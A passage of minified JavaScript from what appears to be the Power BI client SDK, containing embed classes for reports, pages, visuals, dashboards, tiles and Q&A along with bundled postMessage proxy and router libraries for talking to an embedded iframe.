s.validate(e,r,a)},e}(n.ObjectValidator);e.VisualHeaderSettingsValidator=s;var d=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var l=[{field:"settings",validators:[i.Validators.fieldRequiredValidator,i.Validators.visualHeaderSettingsValidator]},{field:"selector",validators:[i.Validators.visualHeaderSelectorValidator]}],s=new o.MultipleFieldsValidator(l);return s.validate(e,r,a)},e}(n.ObjectValidator);e.VisualHeaderValidator=d},function(t,e,r){var a=this&&this.__extends||function(){var t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var r in e)e.hasOwnProperty(r)&&(t[r]=e[r])};return function(e,r){function a(){this.constructor=e}t(e,r),e.prototype=null===r?Object.create(r):(a.prototype=r.prototype,new a)}}();Object.defineProperty(e,"__esModule",{value:!0});var i=r(1),o=r(4),n=r(2),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var l=[{field:"copy",validators:[i.Validators.singleCommandSettingsValidator]},{field:"drill",validators:[i.Validators.singleCommandSettingsValidator]},{field:"drillthrough",validators:[i.Validators.singleCommandSettingsValidator]},{field:"expandCollapse",validators:[i.Validators.singleCommandSettingsValidator]},{field:"exportData",validators:[i.Validators.singleCommandSettingsValidator]},{field:"includeExclude",validators:[i.Validators.singleCommandSettingsValidator]},{field:"removeVisual",validators:[i.Validators.singleCommandSettingsValidator]},{field:"search",validators:[i.Validators.singleCommandSettingsValidator]},{field:"seeData",validators:[i.Validators.singleCommandSettingsValidator]},{field:"sort",validators:[i.Validators.singleCommandSettingsValidator]},{field:"spotlight",validators:[i.Validators.singleCommandSettingsValidator]}],s=new o.MultipleFieldsValidator(l);return s.validate(e,r,a)},e}(n.ObjectValidator);e.CommandsSettingsValidator=l;var s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var l=[{field:"displayOption",validators:[i.Validators.fieldRequiredValidator,i.Validators.commandDisplayOptionValidator]},{field:"selector",validators:[i.Validators.visualCommandSelectorValidator]}],s=new o.MultipleFieldsValidator(l);return s.validate(e,r,a)},e}(n.ObjectValidator);e.SingleCommandSettingsValidator=s},function(t,e,r){var a=this&&this.__extends||function(){var t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var r in e)e.hasOwnProperty(r)&&(t[r]=e[r])};return function(e,r){function a(){this.constructor=e}t(e,r),e.prototype=null===r?Object.create(r):(a.prototype=r.prototype,new a)}}();Object.defineProperty(e,"__esModule",{value:!0});var i=r(4),o=r(2),n=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var l=[{field:"themeJson",validators:[new o.ObjectValidator]}],s=new i.MultipleFieldsValidator(l);return s.validate(e,r,a)},e}(o.ObjectValidator);e.CustomThemeValidator=n},function(t,e,r){var a=this&&this.__extends||function(){var t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var r in e)e.hasOwnProperty(r)&&(t[r]=e[r])};return function(e,r){function a(){this.constructor=e}t(e,r),e.prototype=null===r?Object.create(r):(a.prototype=r.prototype,new a)}}();Object.defineProperty(e,"__esModule",{value:!0});var i=r(1),o=r(4),n=r(2),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this; }return a(e,t),e.prototype.validate=function(e,r,a){if(null==e)return null;var n=t.prototype.validate.call(this,e,r,a);if(n)return n;var l=[{field:"datasetId",validators:[i.Validators.fieldRequiredValidator,i.Validators.stringValidator]}],s=new o.MultipleFieldsValidator(l);return s.validate(e,r,a)},e}(n.ObjectValidator);e.DatasetBindingValidator=l}])})},function(t,e,r){var a=this&&this.__extends||function(t,e){function r(){this.constructor=t}for(var a in e)e.hasOwnProperty(a)&&(t[a]=e[a]);t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)},i=r(2),o=r(5),n=r(3),l=r(7),s=r(8),d=r(10),u=r(11),p=function(t){function e(r,a,i,o,n,l){var s=i;t.call(this,r,a,s,l,o,n),this.loadPath="/report/load",this.phasedLoadPath="/report/prepare",Array.prototype.push.apply(this.allowedEvents,e.allowedEvents),this.bookmarksManager=new u.BookmarksManager(r,s,this.iframe)}return a(e,t),e.findIdFromEmbedUrl=function(t){var e,r=/reportId="?([^&]+)"?/,a=t.match(r);return a&&(e=a[1]),e},e.prototype.render=function(t){return this.service.hpm.post("/report/render",t,{uid:this.config.uniqueId},this.iframe.contentWindow).then(function(t){return t.body})["catch"](function(t){throw t.body})},e.prototype.getFilters=function(){return n.isRDLEmbed(this.config.embedUrl)?Promise.reject(l.APINotSupportedForRDLError):this.service.hpm.get("/report/filters",{uid:this.config.uniqueId},this.iframe.contentWindow).then(function(t){return t.body},function(t){throw t.body})},e.prototype.getId=function(){var t=this.config,r=t.id||this.element.getAttribute(e.reportIdAttribute)||e.findIdFromEmbedUrl(t.embedUrl);if("string"!=typeof r||0===r.length)throw new Error("Report id is required, but it was not found. You must provide an id either as part of embed configuration or as attribute '"+e.reportIdAttribute+"'.");return r},e.prototype.getPages=function(){var t=this;return n.isRDLEmbed(this.config.embedUrl)?Promise.reject(l.APINotSupportedForRDLError):this.service.hpm.get("/report/pages",{uid:this.config.uniqueId},this.iframe.contentWindow).then(function(e){return e.body.map(function(e){return new s.Page(t,e.name,e.displayName,e.isActive,e.visibility,e.defaultSize,e.defaultDisplayOption)})},function(t){throw t.body})},e.prototype.page=function(t,e,r,a){return new s.Page(this,t,e,r,a)},e.prototype.print=function(){return n.isRDLEmbed(this.config.embedUrl)?Promise.reject(l.APINotSupportedForRDLError):this.service.hpm.post("/report/print",null,{uid:this.config.uniqueId},this.iframe.contentWindow).then(function(t){return t.body})["catch"](function(t){throw t.body})},e.prototype.removeFilters=function(){return n.isRDLEmbed(this.config.embedUrl)?Promise.reject(l.APINotSupportedForRDLError):this.setFilters([])},e.prototype.setPage=function(t){if(n.isRDLEmbed(this.config.embedUrl))return Promise.reject(l.APINotSupportedForRDLError);var e={name:t,displayName:null,isActive:!0};return this.service.hpm.put("/report/pages/active",e,{uid:this.config.uniqueId},this.iframe.contentWindow)["catch"](function(t){throw t.body})},e.prototype.setFilters=function(t){return n.isRDLEmbed(this.config.embedUrl)?Promise.reject(l.APINotSupportedForRDLError):this.service.hpm.put("/report/filters",t,{uid:this.config.uniqueId},this.iframe.contentWindow)["catch"](function(t){throw t.body})},e.prototype.updateSettings=function(t){return n.isRDLEmbed(this.config.embedUrl)&&null!=t.customLayout?Promise.reject(l.APINotSupportedForRDLError):this.service.hpm.patch("/report/settings",t,{uid:this.config.uniqueId},this.iframe.contentWindow)["catch"](function(t){throw t.body})},e.prototype.validate=function(t){return o.validateReportLoad(t)},e.prototype.configChanged=function(t){var r=this.config;this.isMobileSettings(r.settings)&&(r.embedUrl=n.addParamToUrl(r.embedUrl,"isMobile","true"));var a=this.element.getAttribute(e.filterPaneEnabledAttribute),i=this.element.getAttribute(e.navContentPaneEnabledAttribute),o={filterPaneEnabled:null==a?d.Defaults.defaultSettings.filterPaneEnabled:"false"!==a,navContentPaneEnabled:null==i?d.Defaults.defaultSettings.navContentPaneEnabled:"false"!==i};this.config.settings=n.assign({},o,r.settings),t||(r.id=this.getId())},e.prototype.getDefaultEmbedUrlEndpoint=function(){return"reportEmbed"},e.prototype.switchMode=function(t){var e;e="string"==typeof t?t:this.viewModeToString(t);var r="/report/switchMode/"+e;return this.service.hpm.post(r,null,{uid:this.config.uniqueId},this.iframe.contentWindow).then(function(t){return t.body})["catch"](function(t){throw t.body})},e.prototype.refresh=function(){return this.service.hpm.post("/report/refresh",null,{uid:this.config.uniqueId},this.iframe.contentWindow).then(function(t){return t.body})["catch"](function(t){throw t.body})},e.prototype.isSaved=function(){return n.isRDLEmbed(this.config.embedUrl)?Promise.reject(l.APINotSupportedForRDLError):n.isSavedInternal(this.service.hpm,this.config.uniqueId,this.iframe.contentWindow)},e.prototype.applyTheme=function(t){return n.isRDLEmbed(this.config.embedUrl)?Promise.reject(l.APINotSupportedForRDLError):this.applyThemeInternal(t)},e.prototype.resetTheme=function(){return n.isRDLEmbed(this.config.embedUrl)?Promise.reject(l.APINotSupportedForRDLError):this.applyThemeInternal({})},e.prototype.applyThemeInternal=function(t){return this.service.hpm.put("/report/theme",t,{uid:this.config.uniqueId},this.iframe.contentWindow).then(function(t){return t.body})["catch"](function(t){throw t.body})},e.prototype.viewModeToString=function(t){var e;switch(t){case o.ViewMode.Edit:e="edit";break;case o.ViewMode.View:e="view"}return e},e.prototype.isMobileSettings=function(t){return t&&(t.layoutType===o.LayoutType.MobileLandscape||t.layoutType===o.LayoutType.MobilePortrait)},e.allowedEvents=["filtersApplied","pageChanged","commandTriggered","swipeStart","swipeEnd","bookmarkApplied","dataHyperlinkClicked"],e.reportIdAttribute="powerbi-report-id",e.filterPaneEnabledAttribute="powerbi-settings-filter-pane-enabled",e.navContentPaneEnabledAttribute="powerbi-settings-nav-content-pane-enabled",e.typeAttribute="powerbi-type",e.type="Report",e}(i.Embed);e.Report=p},function(t,e){e.APINotSupportedForRDLError="This API is currently not supported for RDL reports"},function(t,e,r){var a=r(9),i=r(5),o=r(3),n=r(7),l=function(){function t(t,e,r,a,i,o,n){this.report=t,this.name=e,this.displayName=r,this.isActive=a,this.visibility=i,this.defaultSize=o,this.defaultDisplayOption=n}return t.prototype.getFilters=function(){return this.report.service.hpm.get("/report/pages/"+this.name+"/filters",{uid:this.report.config.uniqueId},this.report.iframe.contentWindow).then(function(t){return t.body},function(t){throw t.body})},t.prototype.removeFilters=function(){return this.setFilters([])},t.prototype.setActive=function(){var t={name:this.name,displayName:null,isActive:!0};return this.report.service.hpm.put("/report/pages/active",t,{uid:this.report.config.uniqueId},this.report.iframe.contentWindow)["catch"](function(t){throw t.body})},t.prototype.setFilters=function(t){return this.report.service.hpm.put("/report/pages/"+this.name+"/filters",t,{uid:this.report.config.uniqueId},this.report.iframe.contentWindow)["catch"](function(t){throw t.body})},t.prototype.getVisuals=function(){var t=this;return o.isRDLEmbed(this.report.config.embedUrl)?Promise.reject(n.APINotSupportedForRDLError):this.report.service.hpm.get("/report/pages/"+this.name+"/visuals",{uid:this.report.config.uniqueId},this.report.iframe.contentWindow).then(function(e){return e.body.map(function(e){return new a.VisualDescriptor(t,e.name,e.title,e.type,e.layout)})},function(t){throw t.body})},t.prototype.hasLayout=function(t){if(o.isRDLEmbed(this.report.config.embedUrl))return Promise.reject(n.APINotSupportedForRDLError);var e=i.LayoutType[t];return this.report.service.hpm.get("/report/pages/"+this.name+"/layoutTypes/"+e,{uid:this.report.config.uniqueId},this.report.iframe.contentWindow).then(function(t){return t.body},function(t){throw t.body})},t}();e.Page=l},function(t,e){var r=function(){function t(t,e,r,a,i){this.name=e,this.title=r,this.type=a,this.layout=i,this.page=t}return t.prototype.getFilters=function(){return this.page.report.service.hpm.get("/report/pages/"+this.page.name+"/visuals/"+this.name+"/filters",{uid:this.page.report.config.uniqueId},this.page.report.iframe.contentWindow).then(function(t){return t.body},function(t){throw t.body})},t.prototype.removeFilters=function(){return this.setFilters([])},t.prototype.setFilters=function(t){return this.page.report.service.hpm.put("/report/pages/"+this.page.name+"/visuals/"+this.name+"/filters",t,{uid:this.page.report.config.uniqueId},this.page.report.iframe.contentWindow)["catch"](function(t){throw t.body})},t.prototype.exportData=function(t,e){var r={rows:e,exportDataType:t};return this.page.report.service.hpm.post("/report/pages/"+this.page.name+"/visuals/"+this.name+"/exportData",r,{uid:this.page.report.config.uniqueId},this.page.report.iframe.contentWindow).then(function(t){return t.body},function(t){throw t.body})},t.prototype.setSlicerState=function(t){return this.page.report.service.hpm.put("/report/pages/"+this.page.name+"/visuals/"+this.name+"/slicer",t,{uid:this.page.report.config.uniqueId},this.page.report.iframe.contentWindow)["catch"](function(t){throw t.body})},t.prototype.getSlicerState=function(){return this.page.report.service.hpm.get("/report/pages/"+this.page.name+"/visuals/"+this.name+"/slicer",{uid:this.page.report.config.uniqueId},this.page.report.iframe.contentWindow).then(function(t){return t.body},function(t){throw t.body})},t.prototype.clone=function(t){return void 0===t&&(t={}),this.page.report.service.hpm.post("/report/pages/"+this.page.name+"/visuals/"+this.name+"/clone",t,{uid:this.page.report.config.uniqueId},this.page.report.iframe.contentWindow).then(function(t){return t.body},function(t){throw t.body})},t.prototype.sortBy=function(t){return this.page.report.service.hpm.put("/report/pages/"+this.page.name+"/visuals/"+this.name+"/sortBy",t,{uid:this.page.report.config.uniqueId},this.page.report.iframe.contentWindow)["catch"](function(t){throw t.body})},t}();e.VisualDescriptor=r},function(t,e){var r=function(){function t(){}return t.defaultSettings={filterPaneEnabled:!0},t.defaultQnaSettings={filterPaneEnabled:!1},t}();e.Defaults=r},function(t,e,r){var a=r(3),i=r(7),o=function(){function t(t,e,r){this.service=t,this.config=e,this.iframe=r}return t.prototype.getBookmarks=function(){return a.isRDLEmbed(this.config.embedUrl)?Promise.reject(i.APINotSupportedForRDLError):this.service.hpm.get("/report/bookmarks",{uid:this.config.uniqueId},this.iframe.contentWindow).then(function(t){return t.body},function(t){throw t.body})},t.prototype.apply=function(t){if(a.isRDLEmbed(this.config.embedUrl))return Promise.reject(i.APINotSupportedForRDLError);var e={name:t};return this.service.hpm.post("/report/bookmarks/applyByName",e,{uid:this.config.uniqueId},this.iframe.contentWindow)["catch"](function(t){throw t.body})},t.prototype.play=function(t){if(a.isRDLEmbed(this.config.embedUrl))return Promise.reject(i.APINotSupportedForRDLError);var e={playMode:t};return this.service.hpm.post("/report/bookmarks/play",e,{uid:this.config.uniqueId},this.iframe.contentWindow)["catch"](function(t){throw t.body})},t.prototype.capture=function(){return a.isRDLEmbed(this.config.embedUrl)?Promise.reject(i.APINotSupportedForRDLError):this.service.hpm.post("/report/bookmarks/capture",null,{uid:this.config.uniqueId},this.iframe.contentWindow).then(function(t){return t.body},function(t){throw t.body})},t.prototype.applyState=function(t){if(a.isRDLEmbed(this.config.embedUrl))return Promise.reject(i.APINotSupportedForRDLError);var e={state:t};return this.service.hpm.post("/report/bookmarks/applyState",e,{uid:this.config.uniqueId},this.iframe.contentWindow)["catch"](function(t){throw t.body})},t}();e.BookmarksManager=o},function(t,e,r){var a=this&&this.__extends||function(t,e){function r(){this.constructor=t}for(var a in e)e.hasOwnProperty(a)&&(t[a]=e[a]);t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)},i=r(5),o=r(2),n=r(3),l=function(t){function e(e,r,a,i,o){t.call(this,e,r,a,void 0,i,o)}return a(e,t),e.prototype.getId=function(){var t=this.createConfig&&this.createConfig.datasetId?this.createConfig.datasetId:e.findIdFromEmbedUrl(this.config.embedUrl);if("string"!=typeof t||0===t.length)throw new Error("Dataset id is required, but it was not found. You must provide an id either as part of embed configuration.");return t},e.prototype.validate=function(t){return i.validateCreateReport(t)},e.prototype.configChanged=function(t){if(!t){var e=this.config;this.createConfig={accessToken:e.accessToken,datasetId:e.datasetId||this.getId(),groupId:e.groupId,settings:e.settings,tokenType:e.tokenType,theme:e.theme}}},e.prototype.getDefaultEmbedUrlEndpoint=function(){return"reportEmbed"},e.prototype.isSaved=function(){return n.isSavedInternal(this.service.hpm,this.config.uniqueId,this.iframe.contentWindow)},e.findIdFromEmbedUrl=function(t){var e,r=/datasetId="?([^&]+)"?/,a=t.match(r);return a&&(e=a[1]),e},e}(o.Embed);e.Create=l},function(t,e,r){var a=this&&this.__extends||function(t,e){function r(){this.constructor=t}for(var a in e)e.hasOwnProperty(a)&&(t[a]=e[a]);t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)},i=r(2),o=r(5),n=function(t){function e(r,a,i,o,n){t.call(this,r,a,i,void 0,o,n),this.loadPath="/dashboard/load",this.phasedLoadPath="/dashboard/prepare",Array.prototype.push.apply(this.allowedEvents,e.allowedEvents)}return a(e,t),e.findIdFromEmbedUrl=function(t){var e,r=/dashboardId="?([^&]+)"?/,a=t.match(r);return a&&(e=a[1]),e},e.prototype.getId=function(){var t=this.config,r=t.id||this.element.getAttribute(e.dashboardIdAttribute)||e.findIdFromEmbedUrl(t.embedUrl);if("string"!=typeof r||0===r.length)throw new Error("Dashboard id is required, but it was not found. You must provide an id either as part of embed configuration or as attribute '"+e.dashboardIdAttribute+"'.");return r},e.prototype.validate=function(t){var e=t,r=o.validateDashboardLoad(e);return r?r:this.ValidatePageView(e.pageView)},e.prototype.configChanged=function(t){t||(this.config.id=this.getId())},e.prototype.getDefaultEmbedUrlEndpoint=function(){return"dashboardEmbed"},e.prototype.ValidatePageView=function(t){if(t&&"fitToWidth"!==t&&"oneColumn"!==t&&"actualSize"!==t)return[{message:"pageView must be one of the followings: fitToWidth, oneColumn, actualSize"}]},e.allowedEvents=["tileClicked","error"],e.dashboardIdAttribute="powerbi-dashboard-id",e.typeAttribute="powerbi-type",e.type="Dashboard",e}(i.Embed);e.Dashboard=n},function(t,e,r){var a=this&&this.__extends||function(t,e){function r(){this.constructor=t}for(var a in e)e.hasOwnProperty(a)&&(t[a]=e[a]);t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)},i=r(5),o=r(2),n=function(t){function e(r,a,i,o,n){var l=i;t.call(this,r,a,l,void 0,o,n),this.loadPath="/tile/load",Array.prototype.push.apply(this.allowedEvents,e.allowedEvents)}return a(e,t),e.prototype.getId=function(){var t=this.config,r=t.id||e.findIdFromEmbedUrl(this.config.embedUrl);if("string"!=typeof r||0===r.length)throw new Error("Tile id is required, but it was not found. You must provide an id either as part of embed configuration.");return r},e.prototype.validate=function(t){var e=t;return i.validateTileLoad(e)},e.prototype.configChanged=function(t){t||(this.config.id=this.getId())},e.prototype.getDefaultEmbedUrlEndpoint=function(){return"tileEmbed"},e.findIdFromEmbedUrl=function(t){var e,r=/tileId="?([^&]+)"?/,a=t.match(r);return a&&(e=a[1]),e},e.type="Tile",e.allowedEvents=["tileClicked","tileLoaded"],e}(o.Embed);e.Tile=n},function(t,e,r){var a=this&&this.__extends||function(t,e){function r(){this.constructor=t}for(var a in e)e.hasOwnProperty(a)&&(t[a]=e[a]);t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)},i=r(5),o=r(2),n=function(t){function e(r,a,i,o,n){t.call(this,r,a,i,void 0,o,n),this.loadPath="/qna/load",this.phasedLoadPath="/qna/prepare",Array.prototype.push.apply(this.allowedEvents,e.allowedEvents)}return a(e,t),e.prototype.getId=function(){return null},e.prototype.setQuestion=function(t){var e={question:t};return this.service.hpm.post("/qna/interpret",e,{uid:this.config.uniqueId},this.iframe.contentWindow)["catch"](function(t){throw t.body})},e.prototype.configChanged=function(t){},e.prototype.getDefaultEmbedUrlEndpoint=function(){return"qnaEmbed"},e.prototype.validate=function(t){return i.validateLoadQnaConfiguration(t)},e.type="Qna",e.allowedEvents=["loaded","visualRendered"],e}(o.Embed);e.Qna=n},function(t,e,r){var a=this&&this.__extends||function(t,e){function r(){this.constructor=t}for(var a in e)e.hasOwnProperty(a)&&(t[a]=e[a]);t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)},i=r(5),o=r(6),n=function(t){function e(e,r,a,i,o,n){t.call(this,e,r,a,i,o,n)}return a(e,t),e.prototype.load=function(e,r){var a=e;if(a.accessToken){if("string"!=typeof a.pageName||0===a.pageName.length)throw new Error("Page name is required when embedding a visual.");if("string"!=typeof a.visualName||0===a.visualName.length)throw new Error("Visual name is required, but it was not found. You must provide a visual name as part of embed configuration.");var o=a.width?a.width:this.iframe.offsetWidth,n=a.height?a.height:this.iframe.offsetHeight,l={type:i.PageSizeType.Custom,width:o,height:n},s={};return s[a.pageName]={defaultLayout:{displayState:{mode:i.VisualContainerDisplayMode.Hidden}},visualsLayout:{}},s[a.pageName].visualsLayout[a.visualName]={displayState:{mode:i.VisualContainerDisplayMode.Visible},x:1,y:1,z:1,width:l.width,height:l.height},a.settings=a.settings||{},a.settings.filterPaneEnabled=!1,a.settings.navContentPaneEnabled=!1,a.settings.layoutType=i.LayoutType.Custom,a.settings.customLayout={displayOption:i.DisplayOption.FitToPage,pageSize:l,pagesLayout:s},t.prototype.load.call(this,a,r)}},e.prototype.getPages=function(){throw e.GetPagesNotSupportedError},e.prototype.setPage=function(t){throw e.SetPageNotSupportedError},e.prototype.getFilters=function(t){var e=this.getFiltersLevelUrl(t);return this.service.hpm.get(e,{uid:this.config.uniqueId},this.iframe.contentWindow).then(function(t){return t.body},function(t){throw t.body})},e.prototype.setFilters=function(t,e){var r=this.getFiltersLevelUrl(e);return this.service.hpm.put(r,t,{uid:this.config.uniqueId},this.iframe.contentWindow)["catch"](function(t){throw t.body})},e.prototype.removeFilters=function(t){return this.setFilters([],t)},e.prototype.getFiltersLevelUrl=function(t){var e=this.config;switch(t){case i.FiltersLevel.Report:return"/report/filters";case i.FiltersLevel.Page:return"/report/pages/"+e.pageName+"/filters";default:return"/report/pages/"+e.pageName+"/visuals/"+e.visualName+"/filters"}},e.type="visual",e.GetPagesNotSupportedError="Get pages is not supported while embedding a visual.",e.SetPageNotSupportedError="Set page is not supported while embedding a visual.",e}(o.Report);e.Visual=n},function(t,e,r){var a=r(4),i=r(18),o=r(19),n=r(20);e.hpmFactory=function(t,e,r,i){return void 0===r&&(r=a["default"].version),void 0===i&&(i=a["default"].type),new o.HttpPostMessage(t,{"x-sdk-type":i,"x-sdk-version":r},e)},e.wpmpFactory=function(t,e,r){return new i.WindowPostMessageProxy({processTrackingProperties:{addTrackingProperties:o.HttpPostMessage.addTrackingProperties,getTrackingProperties:o.HttpPostMessage.getTrackingProperties},isErrorMessage:o.HttpPostMessage.isErrorMessage,suppressWarnings:!0,name:t,logMessages:e,eventSourceOverrideWindow:r})},e.routerFactory=function(t){return new n.Router(t)}},function(t,e,r){/*! window-post-message-proxy v0.2.6 | (c) 2016 Microsoft Corporation MIT */ !function(e,r){t.exports=r()}(this,function(){return function(t){function e(a){if(r[a])return r[a].exports;var i=r[a]={exports:{},id:a,loaded:!1};return t[a].call(i.exports,i,i.exports,e),i.loaded=!0,i.exports}var r={};return e.m=t,e.c=r,e.p="",e(0)}([function(t,e){"use strict";var r=function(){function t(e){var r=this;void 0===e&&(e={processTrackingProperties:{addTrackingProperties:t.defaultAddTrackingProperties,getTrackingProperties:t.defaultGetTrackingProperties},isErrorMessage:t.defaultIsErrorMessage,receiveWindow:window,name:t.createRandomString()}),this.pendingRequestPromises={},this.addTrackingProperties=e.processTrackingProperties&&e.processTrackingProperties.addTrackingProperties||t.defaultAddTrackingProperties,this.getTrackingProperties=e.processTrackingProperties&&e.processTrackingProperties.getTrackingProperties||t.defaultGetTrackingProperties,this.isErrorMessage=e.isErrorMessage||t.defaultIsErrorMessage,this.receiveWindow=e.receiveWindow||window,this.name=e.name||t.createRandomString(),this.logMessages=e.logMessages||!1,this.eventSourceOverrideWindow=e.eventSourceOverrideWindow,this.suppressWarnings=e.suppressWarnings||!1,this.logMessages&&console.log("new WindowPostMessageProxy created with name: "+this.name+" receiving on window: "+this.receiveWindow.document.title),this.handlers=[],this.windowMessageHandler=function(t){return r.onMessageReceived(t)},this.start()}return t.defaultAddTrackingProperties=function(e,r){return e[t.messagePropertyName]=r,e},t.defaultGetTrackingProperties=function(e){return e[t.messagePropertyName]},t.defaultIsErrorMessage=function(t){return!!t.error},t.createDeferred=function(){var t={resolve:null,reject:null,promise:null},e=new Promise(function(e,r){t.resolve=e,t.reject=r});return t.promise=e,t},t.createRandomString=function(){var t=window.crypto||window.msCrypto,e=new Uint32Array(1);return t.getRandomValues(e),e[0].toString(36).substring(1)},t.prototype.addHandler=function(t){this.handlers.push(t)},t.prototype.removeHandler=function(t){var e=this.handlers.indexOf(t);if(e===-1)throw new Error("You attempted to remove a handler but no matching handler was found.");this.handlers.splice(e,1)},t.prototype.start=function(){this.receiveWindow.addEventListener("message",this.windowMessageHandler)},t.prototype.stop=function(){this.receiveWindow.removeEventListener("message",this.windowMessageHandler)},t.prototype.postMessage=function(e,r){var a={id:t.createRandomString()};this.addTrackingProperties(r,a),this.logMessages&&(console.log(this.name+" Posting message:"),console.log(JSON.stringify(r,null," "))),e.postMessage(r,"*");var i=t.createDeferred();return this.pendingRequestPromises[a.id]=i,i.promise},t.prototype.sendResponse=function(t,e,r){this.addTrackingProperties(e,r),this.logMessages&&(console.log(this.name+" Sending response:"),console.log(JSON.stringify(e,null," "))),t.postMessage(e,"*")},t.prototype.onMessageReceived=function(t){var e=this;this.logMessages&&(console.log(this.name+" Received message:"),console.log("type: "+t.type),console.log(JSON.stringify(t.data,null," ")));var r=this.eventSourceOverrideWindow||t.source,a=t.data;if("object"!=typeof a)return void(this.suppressWarnings||console.warn("Proxy("+this.name+"): Received message that was not an object. Discarding message"));var i;try{i=this.getTrackingProperties(a)}catch(o){this.suppressWarnings||console.warn("Proxy("+this.name+"): Error occurred when attempting to get tracking properties from incoming message:",JSON.stringify(a,null," "),"Error: ",o)}var n;if(i&&(n=this.pendingRequestPromises[i.id]),n){var l=!0;try{l=this.isErrorMessage(a)}catch(o){console.warn("Proxy("+this.name+") Error occurred when trying to determine if message is consider an error response. Message: ",JSON.stringify(a,null,""),"Error: ",o)}l?n.reject(a):n.resolve(a),delete this.pendingRequestPromises[i.id]}else{var s=this.handlers.some(function(t){var o=!1;try{o=t.test(a)}catch(n){e.suppressWarnings||console.warn("Proxy("+e.name+"): Error occurred when handler was testing incoming message:",JSON.stringify(a,null," "),"Error: ",n)}if(o){var l=void 0;try{l=Promise.resolve(t.handle(a))}catch(n){e.suppressWarnings||console.warn("Proxy("+e.name+"): Error occurred when handler was processing incoming message:",JSON.stringify(a,null," "),"Error: ",n),l=Promise.resolve()}return l.then(function(t){if(!t){var o="Handler for message: "+JSON.stringify(a,null," ")+" did not return a response message. The default response message will be returned instead.";e.suppressWarnings||console.warn("Proxy("+e.name+"): "+o),t={warning:o}}e.sendResponse(r,t,i)}),!0}});s||this.suppressWarnings||console.warn("Proxy("+this.name+") did not handle message. Handlers: "+this.handlers.length+" Message: "+JSON.stringify(a,null,"")+".")}},t.messagePropertyName="windowPostMessageProxy",t}();e.WindowPostMessageProxy=r}])})},function(t,e,r){/*! http-post-message v0.2.3 | (c) 2016 Microsoft Corporation MIT */ !function(e,r){t.exports=r()}(this,function(){return function(t){function e(a){if(r[a])return r[a].exports;var i=r[a]={exports:{},id:a,loaded:!1};return t[a].call(i.exports,i,i.exports,e),i.loaded=!0,i.exports}var r={};return e.m=t,e.c=r,e.p="",e(0)}([function(t,e){"use strict";var r=function(){function t(t,e,r){void 0===e&&(e={}),this.defaultHeaders=e,this.defaultTargetWindow=r,this.windowPostMessageProxy=t}return t.addTrackingProperties=function(t,e){return t.headers=t.headers||{},e&&e.id&&(t.headers.id=e.id),t},t.getTrackingProperties=function(t){return{id:t.headers&&t.headers.id}},t.isErrorMessage=function(t){return"number"==typeof(t&&t.statusCode)&&!(200<=t.statusCode&&t.statusCode<300)},t.prototype.get=function(t,e,r){return void 0===e&&(e={}),void 0===r&&(r=this.defaultTargetWindow),this.send({method:"GET",url:t,headers:e},r)},t.prototype.post=function(t,e,r,a){return void 0===r&&(r={}),void 0===a&&(a=this.defaultTargetWindow),this.send({method:"POST",url:t,headers:r,body:e},a)},t.prototype.put=function(t,e,r,a){return void 0===r&&(r={}),void 0===a&&(a=this.defaultTargetWindow),this.send({method:"PUT",url:t,headers:r,body:e},a)},t.prototype.patch=function(t,e,r,a){return void 0===r&&(r={}),void 0===a&&(a=this.defaultTargetWindow),this.send({method:"PATCH",url:t,headers:r,body:e},a)},t.prototype["delete"]=function(t,e,r,a){return void 0===e&&(e=null),void 0===r&&(r={}),void 0===a&&(a=this.defaultTargetWindow),this.send({method:"DELETE",url:t,headers:r,body:e},a)},t.prototype.send=function(t,e){if(void 0===e&&(e=this.defaultTargetWindow),t.headers=this.assign({},this.defaultHeaders,t.headers),!e)throw new Error("target window is not provided. You must either provide the target window explicitly as argument to request, or specify default target window when constructing instance of this class.");return this.windowPostMessageProxy.postMessage(e,t)},t.prototype.assign=function(t){for(var e=[],r=1;r<arguments.length;r++)e[r-1]=arguments[r];if(void 0===t||null===t)throw new TypeError("Cannot convert undefined or null to object");var a=Object(t);return e.forEach(function(t){if(void 0!==t&&null!==t)for(var e in t)Object.prototype.hasOwnProperty.call(t,e)&&(a[e]=t[e])}),a},t}();e.HttpPostMessage=r}])})},function(t,e,r){/*! powerbi-router v0.1.5 | (c) 2016 Microsoft Corporation MIT */ !function(e,r){t.exports=r()}(this,function(){return function(t){function e(a){if(r[a])return r[a].exports;var i=r[a]={exports:{},id:a,loaded:!1};return t[a].call(i.exports,i,i.exports,e),i.loaded=!0,i.exports}var r={};return e.m=t,e.c=r,e.p="",e(0)}([function(t,e,r){"use strict";var a=r(1),i=function(){function t(t){this.handlers=t,this.getRouteRecognizer=new a,this.patchRouteRecognizer=new a,this.postRouteRecognizer=new a,this.putRouteRecognizer=new a,this.deleteRouteRecognizer=new a}return t.prototype.get=function(t,e){return this.registerHandler(this.getRouteRecognizer,"GET",t,e),this},t.prototype.patch=function(t,e){return this.registerHandler(this.patchRouteRecognizer,"PATCH",t,e),this},t.prototype.post=function(t,e){return this.registerHandler(this.postRouteRecognizer,"POST",t,e),this},t.prototype.put=function(t,e){return 